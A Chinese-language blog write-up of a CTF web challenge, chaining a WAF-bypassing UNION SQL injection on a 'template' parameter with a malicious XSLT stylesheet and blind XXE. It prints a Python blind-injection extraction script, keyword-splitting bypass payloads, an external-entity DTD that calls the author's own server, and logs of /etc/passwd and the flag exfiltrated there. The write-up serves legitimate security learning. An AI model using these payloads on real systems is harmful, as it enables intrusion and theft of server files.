Sky's blog

从sql注入到xslt再到xxe的一道ctf题目

Word count: 2,348 / Reading time: 11 min
2018/03/23 Share

前记

最近比较闲,看到一道web题目,学到了一些知识,于是有了这篇文章

题目描述

打开题目发现是一个笔记管理系统

然后发现有注册和登录,随手注册了一个账号
登入后发现几个功能

分别是
1.新建笔记
2.生成xml文件
3.将生成的xml文件导出为html文件
于是开始随意尝试
第一个想法:
是不是flag在管理员的笔记里呢?我只要登入管理员账号即可?
于是开始尝试在登录和注册处进行sql注入
发现未果,后台对注入处理比较完善
会过滤了union,select,空格等多种必要符号
随即暂且放弃了这个想法。
第二个想法:
新建笔记可否写xml,进行xxe攻击呢,或者xss?
尝试了一下

1
<script>

容易发现转义

1
accordion-content">&lt;script&gt;</div></dd></dl></section>

尝试绕过也未果,这个想法也破灭。
于是开始分析题目流程
1.注册账号
2.登录账号
3.新建笔记
4.生成xml文件
5.导出为html
我们思考一下后面3个步骤的实现:
新建笔记:将我们的输入经过处理存入数据库
生成xml文件:根据我们的用户名查询我们数据库里的content,并根据content生成xml文件
导出为html:将xml文件转换为html的形式显示出来
那么问题来了,如何将xml文件转换为html的形式?
这里就涉及到了新的知识点:XSLT

xslt知识前引

xslt的定义

XSL(可扩展样式表语言)是一种用于转换XML文档的语言。XSLT代表XSL转换。XSL转换本身就是XML文档。
转换的结果可以是不同的XML文档或其他内容,如HTML文档,CSV文件或纯文本文件。

xslt的使用

国外的一篇文章里有这样的样例:
xml文件如下

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" ?>
<fruits>
<fruit>
<name>Lemon</name>
<description>Yellow and sour</description>
</fruit>
<fruit>
<name>Watermelon</name>
<description>Round, green outside, red inside</description>
</fruit>
</fruits>

如果要将这个xml文件转换为纯文本格式,可以使用如下xsl转换

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Fruits:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>

转换后结果

1
2
3
4
Fruits:

- Lemon: Yellow and sour
- Waterm

xslt的相关攻击

由于xslt的文档格式为xml,所以存在xml相关的攻击
比如常见的xml引入外部实体,可以读取文件的问题
这里就不详细介绍了,因为一会儿还要实战

思考攻击点

学习过xslt相关知识后,很容易看出这个题目的考点
但是新的问题来了
xslt的攻击是在xml文件转换为其他文档格式的时候触发的,那我们的xml文件从哪里来呢?
现在无非两个思路
1.新建笔记的时候插入xml文件
2.直接sql注入插入content,内容为xml文件
第一个思路显然没有办法,因为在新建笔记插入文件的时候会经过转义处理,再次转换的时候无法引入我们想要的攻击构造
而第二个思路却没有注入点,应该如何是好?
在苦思冥想之际,我发现了两个神奇的点:

如图,首先是xml文件名,我惊奇的发现竟然就是自己用户名的md5,
于是我尝试了一下admin的xml文件,即:
./xml/21232f297a57a5a743894a0e4a801fc3.xml
发现hint

1
2
3
4
5
6
7
8
9
10
<notes>
<item>
<id>1</id>
<title size="1">学习记录</title>
<content>It's so easy to use xslt to parse xml.</content>
<id>2</id>
<title size="2">flag</title>
<content>flag在./flag.php文件</content>
</item>
</notes>

可以更加肯定的证明,我们的猜想是正确的,的确是xslt攻击引入xml去读取./flag文件
然后我又发现了模板一和模板二的问题
这看似多此一举的操作,其实是预留下了sql注入的隐患
我们抓包

发现template是以Post方式提交的,于是我在此尝试了一下注入,这里我选择hackbar,方便回显
当template为1时,发现正常回显

当template为1’时,发现无回显

于是我确定此处存在注入问题
随即fuzz了一下,发现会过滤空格和许多关键词
但是容易发现这样的漏洞
比如
union会被过滤
但是我输入
un和ion不会过滤
那么我们输入un ion即可成功构造出union
因为空格被过滤的原因,un和ion成功合并在一起
于是我们可以利用这个方法突破关键词过滤
而后经过fuzz,发现/**/可以绕过空格过滤
于是我开始随手尝试

1
template=1/**/o r der/**/b y/**/1

成功回显

1
template=1/**/o r der/**/b y/**/2

无回显
说明只有一列数据
但是当我尝试

1
template=0/**/uni on/**/sel ect/**/1/**/li mit/**/1

发现依旧无回显

1
template=0/**/uni on/**/sel ect/**/0/**/li mit/**/1

回显为模板不存在
这是为什么呢?
经过我的猜测,查询语句可能如下:

1
select content from users where template=1

我们union select可以填充content,但是必须符合xml语法,否则无法转换,所以无回显
所以整体攻击思路相当明显了
1.利用union select填充我们构造的恶意content
2.xslt对我们填充的恶意content进行转换
3.触发攻击,引入外部实体
4.读取flag

攻击构造

清楚了攻击点后,我写了脚本,查看admin的content,以确保xml格式的吻合性
为防止处理问题,我还将content转换为十六进制输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# -*- coding: utf-8 -*-
import requests
import string
import urllib
cookie = {
"PHPSESSID":"e51d34c56f1d02e0eace44a7988ae1ec"
}
url = "题目ip/report.php"
flag = "3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d227574662d38223f3e"
true_flag = """<?xml version="1.0" encoding="utf-8"?>"""
for i in range(1,1000):
payload = flag
for j in range(1,127):
if chr(j) in '''_%''':
continue
if len(hex(ord(chr(j)))[2:]) == 1:
lll = '0'+hex(ord(chr(j)))[2:]
else:
lll = hex(ord(chr(j)))[2:]
# print lll
data = {
"template":urllib.unquote("0/**/o r/**/content/**/li ke/**/bin ary/**/0x%s25/**/li mit/**/1/**/off set/**/0"%(payload+lll))
}
r =requests.post(url=url,data=data,cookies=cookie)
if '模板不存在' not in r.content:
flag += lll
true_flag += chr(int('0x'+lll,16))
print true_flag
print flag
break

最后成功得到admin的content内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/notes">
<xsl:for-each select="item">
<section data-am-widget="accordion" class="am-accordion am-accordion-gapped">
<dl class="am-accordion-item am-active">
<dt class="am-accordion-title">
<xsl:value-of select="id"/>. <xsl:value-of select="title"/>
</dt>
<dd class="am-accordion-bd am-collapse am-in">
<div class="am-accordion-content">
<xsl:value-of select="content"/>
</div>
</dd>
</dl>
</section>

</xsl:for-each>
</xsl:template>
</xsl:stylesheet>

为确保准确性,我尝试它是否会来请求我的vps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "http://我的vps:23333">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/notes">
Notes &ext_file;:
<xsl:for-each select="item">
<section data-am-widget="accordion" class="am-accordion am-accordion-gapped">
<dl class="am-accordion-item am-active">
<dt class="am-accordion-title">
<xsl:value-of select="id"/>. <xsl:value-of select="title"/>
</dt>
<dd class="am-accordion-bd am-collapse am-in">
<div class="am-accordion-content">
<xsl:value-of select="content"/>
</div>
</dd>
</dl>
</section>

</xsl:for-each>
</xsl:template>
</xsl:stylesheet>

并且在自己的23333端口监听,得到:

1
2
3
4
5
6
root@ubuntu-512mb-sfo2-01:~# nc -l -vv -p 23333
Listening on [0.0.0.0] (family 0, port 23333)
Connection from [题目ip] port 23333 [tcp/*] accepted (family 2, sport 56744)
GET / HTTP/1.0
Host: 我的ip:23333
Connection: close

发现请求成功!
于是我根据这个文件直接插入标准的xxe攻击格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY % r SYSTEM "http://你的vps/xxe.xml">
%r;
%all;
%s;
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/notes">
Notes &ext_file;:
<xsl:for-each select="item">
<section data-am-widget="accordion" class="am-accordion am-accordion-gapped">
<dl class="am-accordion-item am-active">
<dt class="am-accordion-title">
<xsl:value-of select="id"/>. <xsl:value-of select="title"/>
</dt>
<dd class="am-accordion-bd am-collapse am-in">
<div class="am-accordion-content">
<xsl:value-of select="content"/>
</div>
</dd>
</dl>
</section>

</xsl:for-each>
</xsl:template>
</xsl:stylesheet>

并转换为16进制

1
0x3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d227574662d38223f3e0a3c21444f435459504520414e595b0a20203c21454e54495459202520722053595354454d2022687474703a2f2f3132372e302e302e312f7878652e786d6c223e0a202025723b0a202025616c6c3b0a202025733b0a5d3e0a3c78736c3a7374796c6573686565742076657273696f6e3d22312e302220786d6c6e733a78736c3d22687474703a2f2f7777772e77332e6f72672f313939392f58534c2f5472616e73666f726d223e0a20203c78736c3a74656d706c617465206d617463683d222f6e6f746573223e0a2020204e6f74657320266578745f66696c653b3a0a202020203c78736c3a666f722d656163682073656c6563743d226974656d223e0a2020202020203c73656374696f6e20646174612d616d2d7769646765743d226163636f7264696f6e2220636c6173733d22616d2d6163636f7264696f6e20616d2d6163636f7264696f6e2d676170706564223e0a2020202020203c646c20636c6173733d22616d2d6163636f7264696f6e2d6974656d20616d2d616374697665223e0a20202020202020203c647420636c6173733d22616d2d6163636f7264696f6e2d7469746c65223e0a20202020202020202020203c78736c3a76616c75652d6f662073656c6563743d226964222f3e2e203c78736c3a76616c75652d6f662073656c6563743d227469746c65222f3e0a20202020202020203c2f64743e0a20202020202020203c646420636c6173733d22616d2d6163636f7264696f6e2d626420616d2d636f6c6c6170736520616d2d696e223e0a202020202020202020203c64697620636c6173733d22616d2d6163636f7264696f6e2d636f6e74656e74223e0a202020202020202020202020202020203c78736c3a76616c75652d6f662073656c6563743d22636f6e74656e74222f3e0a202020202020202020203c2f6469763e0a20202020202020203c2f64643e0a2020202020203c2f646c3e0a20203c2f73656374696f6e3e0a0a202020203c2f78736c3a666f722d656163683e0a20203c2f78736c3a74656d706c6174653e0a3c2f78736c3a7374796c6573686565743e

然后进行union填充

1
template=0/**/uni on/**/sel ect/**/0x3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d227574662d38223f3e0a3c21444f435459504520414e595b0a20203c21454e54495459202520722053595354454d2022687474703a2f2f3132372e302e302e312f7878652e786d6c223e0a202025723b0a202025616c6c3b0a202025733b0a5d3e0a3c78736c3a7374796c6573686565742076657273696f6e3d22312e302220786d6c6e733a78736c3d22687474703a2f2f7777772e77332e6f72672f313939392f58534c2f5472616e73666f726d223e0a20203c78736c3a74656d706c617465206d617463683d222f6e6f746573223e0a2020204e6f74657320266578745f66696c653b3a0a202020203c78736c3a666f722d656163682073656c6563743d226974656d223e0a2020202020203c73656374696f6e20646174612d616d2d7769646765743d226163636f7264696f6e2220636c6173733d22616d2d6163636f7264696f6e20616d2d6163636f7264696f6e2d676170706564223e0a2020202020203c646c20636c6173733d22616d2d6163636f7264696f6e2d6974656d20616d2d616374697665223e0a20202020202020203c647420636c6173733d22616d2d6163636f7264696f6e2d7469746c65223e0a20202020202020202020203c78736c3a76616c75652d6f662073656c6563743d226964222f3e2e203c78736c3a76616c75652d6f662073656c6563743d227469746c65222f3e0a20202020202020203c2f64743e0a20202020202020203c646420636c6173733d22616d2d6163636f7264696f6e2d626420616d2d636f6c6c6170736520616d2d696e223e0a202020202020202020203c64697620636c6173733d22616d2d6163636f7264696f6e2d636f6e74656e74223e0a202020202020202020202020202020203c78736c3a76616c75652d6f662073656c6563743d22636f6e74656e74222f3e0a202020202020202020203c2f6469763e0a20202020202020203c2f64643e0a2020202020203c2f646c3e0a20203c2f73656374696f6e3e0a0a202020203c2f78736c3a666f722d656163683e0a20203c2f78736c3a74656d706c6174653e0a3c2f78736c3a7374796c6573686565743e/**/li mit/**/1

然后在vps上收到结果

1
# 题目ip - - [19/Mar/2018:00:42:24 +0000] "GET /12345.php?f=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtdGltZXN5bmM6eDoxMDA6MTAzOnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb24sLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UKc3lzdGVtZC1uZXR3b3JrOng6MTAxOjEwNDpzeXN0ZW1kIE5ldHdvcmsgTWFuYWdlbWVudCwsLDovcnVuL3N5c3RlbWQvbmV0aWY6L2Jpbi9mYWxzZQpzeXN0ZW1kLXJlc29sdmU6eDoxMDI6MTA1OnN5c3RlbWQgUmVzb2x2ZXIsLCw6L3J1bi9zeXN0ZW1kL3Jlc29sdmU6L2Jpbi9mYWxzZQpzeXN0ZW1kLWJ1cy1wcm94eTp4OjEwMzoxMDY6c3lzdGVtZCBCdXMgUHJveHksLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UK HTTP/1.0" 200 166 "-" "-"

成功读取了/etc/passwd的内容
于是最终成功获得./flag的内容

1
# 题目ip - - [19/Mar/2018:00:43:57 +0000] "GET /12345.php?f=PD9waHAgCiRmbGFnID0gImdyZWVuezdiMTJkZjdmYjQ0Y2Y4NGQ5ODliMjFkNmI2YWFhZThjfSI7Cg== HTTP/1.0" 200 166 "-" "-"

得到flag

1
2
<?php 
$flag = "green{7b12df7fb44cf84d989b21d6b6aaae8c}";

(注:由于题目搭建在私人vps上,不方便透露,请见谅)

后记

题目实际考点为3个:
1.bypass waf进行union填充注入
2.xslt的攻击点学习
3.blind xxe的基础攻击方法
总体来说还是很有趣的,orz出题师傅~

CATALOG
  1. 1. 前记
  2. 2. 题目描述
  3. 3. xslt知识前引
    1. 3.1. xslt的定义
    2. 3.2. xslt的使用
    3. 3.3. xslt的相关攻击
  4. 4. 思考攻击点
  5. 5. 攻击构造
  6. 6. 后记